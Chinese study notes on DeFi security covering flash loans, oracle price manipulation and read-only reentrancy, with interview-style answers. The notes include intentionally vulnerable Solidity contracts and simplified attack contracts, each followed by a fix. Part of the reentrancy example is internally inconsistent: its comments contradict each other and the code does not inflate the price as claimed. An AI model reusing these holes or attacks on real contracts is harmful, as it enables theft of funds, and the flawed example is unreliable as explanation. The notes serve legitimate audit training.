返回 SC 笔记
SC Day 56

闪电贷攻击 + 价格操纵 + 只读重入(Read-Only Reentrancy)

### 1. 闪电贷(Flash Loan)原理

2026-05-26
第三阶段:安全审计
flash-loanprice-manipulationread-only-reentrancytwaporacle

日期: 2026-05-26 方向: Solidity / Security 阶段: 第三阶段:安全审计 标签: #flash-loan #price-manipulation #read-only-reentrancy #twap #oracle


今日目标

  1. 理解闪电贷的工作原理及其在攻击中的作用
  2. 掌握价格操纵攻击的模式和防护(Spot Price vs TWAP)
  3. 深入分析只读重入(Read-Only Reentrancy)这一新型漏洞
  4. 学习 Euler Finance 和 Cream Finance 等真实攻击案例

核心概念

1. 闪电贷(Flash Loan)原理

闪电贷是 DeFi 的独特创新——在一笔交易内借出大量资金,交易结束前必须归还,否则整笔交易回滚。

一笔交易内:
1. 从 Aave/dYdX 借出 100万 USDC(无抵押!)
2. 用这 100万 做任何操作(套利/攻击/清算)
3. 归还 100万 USDC + 手续费
4. 如果还不上 → 整笔交易 revert,像什么都没发生

注意:步骤1-3都在一笔交易(一个区块)内完成

闪电贷合约接口

// Aave V3 Flash Loan 接口
interface IFlashLoanReceiver {
    function executeOperation(
        address[] calldata assets,    // 借的资产
        uint256[] calldata amounts,   // 借的数量
        uint256[] calldata premiums,  // 手续费
        address initiator,            // 发起者
        bytes calldata params         // 自定义参数
    ) external returns (bool);
}

闪电贷本身不是漏洞

闪电贷是一个合法的 DeFi 工具,用于:

  • 套利(DEX 间价差)
  • 清算(快速获取抵押品清算头寸)
  • 抵押品交换(一步完成借贷仓位调整)

问题在于:闪电贷给了攻击者"无限资本",放大了其他漏洞的影响。

2. 价格操纵攻击

Spot Price(即时价格)的危险

AMM 的即时价格由当前池子中的 reserve 比例决定:

Uniswap V2 价格计算:
price = reserveB / reserveA

如果池子有 100 ETH 和 200,000 USDC:
price = 200,000 / 100 = 2,000 USDC/ETH

如果攻击者用闪电贷向池子卖入 900 ETH:
池子变为 1000 ETH 和 ~20,000 USDC (x*y=k)
price = 20,000 / 1000 = 20 USDC/ETH  ← 价格被操纵为原来的1%!

攻击模式

┌───────────────────────────────────────────────┐
│         价格操纵攻击标准流程                      │
├───────────────────────────────────────────────┤
│ 1. 闪电贷借出大量资产                           │
│ 2. 在 DEX 中大量买入/卖出,操纵即时价格           │
│ 3. 利用被操纵的价格在目标协议中获利               │
│    - 以极低价格借入资产                          │
│    - 以极高价格铸造/清算                         │
│ 4. 归还闪电贷                                  │
│ 5. 获利 = 操纵获利 - 闪电贷手续费 - Gas           │
└───────────────────────────────────────────────┘

TWAP(时间加权平均价格)防护

TWAP 使用一段时间内的平均价格,而不是即时价格:

Spot Price (即时): 容易在单笔交易内被操纵
TWAP (时间加权):   需要在多个区块持续操纵,成本极高

Uniswap V2 TWAP:
- 每个区块记录累积价格
- 查询时取两个时间点的差值除以时间
- 攻击者需要在多个区块中持续操纵,每个区块都有资本成本

Uniswap V3 TWAP:
- 内置 oracle 功能
- 可查询过去任意时间窗口的 TWAP
方案优点缺点
Chainlink抗操纵性强、多数据源中心化依赖、更新延迟
Uniswap TWAP去中心化、无需外部依赖低流动性池容易被操纵
混合方案两者取长补短复杂度高

3. 只读重入(Read-Only Reentrancy)

这是一种比传统重入更隐蔽的攻击模式。传统重入是在写操作中重入修改状态,只读重入是在中间状态时调用其他协议的只读函数(view function),获取不一致的数据。

攻击原理

正常流程:
1. 协议A.withdraw() — 发送 ETH 给用户
2. 协议A 更新内部状态(余额、总量等)
3. 协议B 读取 协议A 的状态 → 得到正确值

只读重入攻击:
1. 协议A.withdraw() — 发送 ETH 给攻击者合约
2. 攻击者的 receive() 被触发
3. 在 receive() 中调用 协议B
4. 协议B 调用 协议A 的 view 函数读取状态
5. 此时 协议A 的状态还未更新!→ 读到的是中间状态(不一致!)
6. 协议B 基于错误数据做出决策
7. 回到 协议A,状态更新完成
时间线:

t1: 协议A: 发送 ETH       状态: [旧值]
t2: 攻击者: receive()触发   状态: [旧值] ← 还没更新!
t3: 攻击者→协议B: 操作     协议B 读 协议A: [旧值] ← 错误!
t4: 协议A: 更新状态        状态: [新值]

协议B 在 t3 时基于 [旧值] 做了决策,但正确值应该是 [新值]

代码实战

漏洞示例 1:价格操纵攻击

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 漏洞合约:使用即时价格作为预言机
contract VulnerableLending {
    IERC20 public token;
    IUniswapV2Pair public pair;

    mapping(address => uint256) public collateral; // ETH 抵押
    mapping(address => uint256) public debt;        // Token 借款

    // 漏洞:直接使用 DEX 即时价格
    function getTokenPrice() public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = pair.getReserves();
        // 假设 token0 = WETH, token1 = token
        return uint256(reserve0) * 1e18 / uint256(reserve1);
        // 这个价格可以在单笔交易内被操纵!
    }

    function deposit() external payable {
        collateral[msg.sender] += msg.value;
    }

    function borrow(uint256 amount) external {
        uint256 price = getTokenPrice();
        uint256 collateralValue = collateral[msg.sender] * price;
        uint256 maxBorrow = collateralValue * 80 / 100; // 80% LTV

        require(debt[msg.sender] + amount <= maxBorrow, "Undercollateralized");
        debt[msg.sender] += amount;
        token.transfer(msg.sender, amount);
    }
}

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@aave/v3-core/contracts/flashloan/base/FlashLoanSimpleReceiverBase.sol";

contract PriceManipulationAttack is FlashLoanSimpleReceiverBase {
    IUniswapV2Router02 public router;
    VulnerableLending public lending;
    IERC20 public weth;
    IERC20 public token;

    constructor(
        address _pool,
        address _router,
        address _lending
    ) FlashLoanSimpleReceiverBase(IPoolAddressesProvider(_pool)) {
        router = IUniswapV2Router02(_router);
        lending = VulnerableLending(_lending);
    }

    function attack() external payable {
        // 步骤0: 先在 lending 中存入少量 ETH 作为抵押
        lending.deposit{value: msg.value}();

        // 步骤1: 闪电贷借出大量 Token
        uint256 flashAmount = 10_000_000 * 1e18; // 1000万个 Token
        POOL.flashLoanSimple(
            address(this),
            address(token),
            flashAmount,
            "",
            0
        );
    }

    function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium,
        address initiator,
        bytes calldata params
    ) external override returns (bool) {
        // 步骤2: 在 Uniswap 中大量卖出 Token → 砸低 Token 价格
        // Token 变便宜 → ETH 相对变贵
        // → 我的 ETH 抵押品价值升高(以 Token 计价)
        token.approve(address(router), amount);
        address[] memory path = new address[](2);
        path[0] = address(token);
        path[1] = address(weth);
        router.swapExactTokensForETH(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );

        // 步骤3: 此时 Token 价格被砸低
        // ETH 相对于 Token 的价格极高
        // 我的 ETH 抵押品可以借出大量 Token
        uint256 borrowAmount = token.balanceOf(address(lending));
        lending.borrow(borrowAmount); // 借出借贷池中所有 Token

        // 步骤4: 在 Uniswap 买回 Token(价格恢复)+ 归还闪电贷
        // ... 省略买回和归还逻辑

        // 归还闪电贷
        token.approve(address(POOL), amount + premium);
        return true;
    }

    receive() external payable {}
}

修复方案

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";

contract SecureLending {
    AggregatorV3Interface public priceFeed;

    // 修复1: 使用 Chainlink 价格预言机
    function getTokenPrice() public view returns (uint256) {
        (
            /* uint80 roundID */,
            int256 price,
            /* uint256 startedAt */,
            uint256 updatedAt,
            /* uint80 answeredInRound */
        ) = priceFeed.latestRoundData();

        // 检查价格是否过期
        require(block.timestamp - updatedAt < 3600, "Stale price");
        require(price > 0, "Invalid price");

        return uint256(price);
    }

    // 修复2: 使用 TWAP
    function getTWAPPrice(
        address uniswapPool,
        uint32 twapInterval
    ) public view returns (uint256) {
        // Uniswap V3 TWAP
        uint32[] memory secondsAgos = new uint32[](2);
        secondsAgos[0] = twapInterval; // 例如 1800 (30分钟)
        secondsAgos[1] = 0;

        (int56[] memory tickCumulatives,) =
            IUniswapV3Pool(uniswapPool).observe(secondsAgos);

        int56 tickCumulativeDelta = tickCumulatives[1] - tickCumulatives[0];
        int24 averageTick = int24(tickCumulativeDelta / int56(int32(twapInterval)));

        // 将 tick 转换为价格
        uint160 sqrtPriceX96 = TickMath.getSqrtRatioAtTick(averageTick);
        return uint256(sqrtPriceX96) * uint256(sqrtPriceX96) >> 192;
    }
}

漏洞示例 2:只读重入

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 协议A: 一个 Vault
contract VaultA {
    mapping(address => uint256) public shares;
    uint256 public totalShares;
    uint256 public totalAssets;

    // 存入 ETH,获得 shares
    function deposit() external payable {
        uint256 sharesToMint = msg.value * totalShares / totalAssets;
        shares[msg.sender] += sharesToMint;
        totalShares += sharesToMint;
        totalAssets += msg.value;
    }

    // 取出 ETH,销毁 shares
    function withdraw(uint256 shareAmount) external {
        uint256 ethToReturn = shareAmount * totalAssets / totalShares;

        // 先发送 ETH(漏洞点!此时 totalShares 和 totalAssets 还未更新)
        (bool success,) = msg.sender.call{value: ethToReturn}("");
        require(success, "Transfer failed");

        // 后更新状态
        shares[msg.sender] -= shareAmount;
        totalShares -= shareAmount;
        totalAssets -= ethToReturn;
    }

    // view 函数:返回每个 share 对应的 ETH 数量
    function pricePerShare() external view returns (uint256) {
        if (totalShares == 0) return 1e18;
        return totalAssets * 1e18 / totalShares;
    }
}

// 协议B: 使用协议A的 pricePerShare 做定价
contract ProtocolB {
    VaultA public vaultA;

    function getCollateralValue(address user) public view returns (uint256) {
        uint256 userShares = vaultA.shares(user);
        uint256 sharePrice = vaultA.pricePerShare();
        return userShares * sharePrice / 1e18;
        // 如果在协议A的中间状态读取,sharePrice 会异常偏高!
    }

    function borrow(uint256 amount) external {
        uint256 collateral = getCollateralValue(msg.sender);
        require(collateral >= amount * 150 / 100, "Undercollateralized");
        // 基于错误的抵押品价值放出贷款
    }
}

只读重入攻击合约

contract ReadOnlyReentrancyAttack {
    VaultA public vaultA;
    ProtocolB public protocolB;

    function attack() external payable {
        // 先存入 ETH 到 VaultA
        vaultA.deposit{value: msg.value}();

        // 提取:触发 withdraw
        vaultA.withdraw(vaultA.shares(address(this)));
    }

    receive() external payable {
        // 在 VaultA 发送 ETH 后、更新状态前被调用
        // 此时 VaultA 的状态:
        //   totalAssets = 已减少了发送给我的ETH ← 还没减!
        //   totalShares = 还未减少
        //   实际上 totalAssets 包含了即将被取走的ETH
        //   → pricePerShare 异常偏高!
        //
        // 在 ProtocolB 中利用虚高的 pricePerShare 借出资产
        protocolB.borrow(1000 ether);
    }
}

修复方案

// 方案1: CEI 模式(先更新状态,再发送 ETH)
function withdraw(uint256 shareAmount) external {
    uint256 ethToReturn = shareAmount * totalAssets / totalShares;

    // 先更新状态
    shares[msg.sender] -= shareAmount;
    totalShares -= shareAmount;
    totalAssets -= ethToReturn;

    // 后发送 ETH
    (bool success,) = msg.sender.call{value: ethToReturn}("");
    require(success, "Transfer failed");
}

// 方案2: 重入锁(保护 view 函数也检查锁状态)
contract VaultAFixed {
    bool private _locked;

    modifier nonReentrant() {
        require(!_locked, "Reentrancy");
        _locked = true;
        _;
        _locked = false;
    }

    // 关键:view 函数也检查锁
    modifier nonReentrantView() {
        require(!_locked, "Reentrancy");
        _;
    }

    function withdraw(uint256 shareAmount) external nonReentrant {
        // ... 原有逻辑
    }

    function pricePerShare() external view nonReentrantView returns (uint256) {
        // 如果正在执行 withdraw,这个函数会 revert
        if (totalShares == 0) return 1e18;
        return totalAssets * 1e18 / totalShares;
    }
}

关键要点总结

闪电贷攻击防护矩阵

攻击类型闪电贷作用防护方法
价格操纵提供操纵资金TWAP / Chainlink
治理攻击临时获取投票权快照机制 / 时间锁
清算攻击提供清算资金合理清算参数
套利提供套利资金这是合法用途

预言机选择指南

场景推荐方案原因
主流代币Chainlink数据源多、抗操纵
长尾代币TWAP (>30min)链上可得
高频更新Chainlink + Pyth推拉结合
关键操作多源聚合消除单点故障

只读重入特征识别

满足以下条件时可能存在只读重入风险:
1. 协议A 在外部调用后更新状态(违反 CEI)
2. 协议B 依赖协议A 的 view 函数做决策
3. 协议A 和协议B 可以在同一笔交易中交互

检测方法:
- 搜索 ETH/Token 发送后的状态更新
- 检查 view 函数是否在中间状态下返回正确值
- 检查是否有其他协议依赖这些 view 函数

常见误区

误区 1:"闪电贷是漏洞"

闪电贷本身是 DeFi 的创新功能。问题在于它放大了其他漏洞——原本需要百万美元才能利用的漏洞,现在只需要几美元 Gas 费。

误区 2:"TWAP 完全不可操纵"

TWAP 大幅提高了操纵成本,但不是完全不可能。在低流动性池中,持续多个区块的操纵仍然可行。应该选择高流动性池作为 TWAP 数据源,并设置合理的时间窗口。

误区 3:"view 函数不可能有安全问题"

只读重入证明了 view 函数在中间状态下可能返回不一致的数据。虽然 view 函数不修改状态,但它返回的数据可能被其他协议用于关键决策。

误区 4:"我的协议没有闪电贷功能,不会受闪电贷攻击影响"

你的协议不需要提供闪电贷功能。攻击者从 Aave/dYdX 等平台借出闪电贷,然后对你的协议发起攻击。只要你的协议依赖可操纵的即时价格,就可能受影响。


面试关联

Q: 什么是闪电贷攻击?请描述一个具体案例

简短回答:闪电贷攻击利用同一笔交易内的无抵押借贷获取大量资金,操纵 DEX 价格或利用协议漏洞获利。

详细回答(以 Cream Finance 2021 攻击为例):

  1. 攻击者通过闪电贷借入大量 ETH
  2. 在 Cream 中存入 ETH 作为抵押
  3. 借出 yUSD,同时操纵 yUSD 的预言机价格
  4. 利用虚高的价格获取更多抵押品价值
  5. 反复循环放大头寸
  6. 最终获利约 1.3 亿美元

Q: 如何防护价格操纵?

回答

  1. 不使用即时价格:DEX 的即时价格可在单笔交易内操纵
  2. 使用 TWAP:时间加权平均价格(至少 30 分钟窗口)
  3. 使用 Chainlink:多数据源聚合,抗操纵性强
  4. 多源聚合:结合链上 TWAP 和链下预言机
  5. 价格偏差检查:设置最大价格变动阈值

Q: 什么是只读重入?为什么它比传统重入更难发现?

回答:只读重入发生在协议 A 的 ETH 发送和状态更新之间——攻击者在回调中调用协议 B,协议 B 读取协议 A 的 view 函数获取中间状态数据。难发现的原因:

  1. view 函数通常被认为是安全的
  2. 漏洞跨越两个协议——单独审计每个协议都看不出问题
  3. nonReentrant 修饰符通常不保护 view 函数
  4. 工具(Slither 等)传统上不检查 view 函数的重入风险

参考资源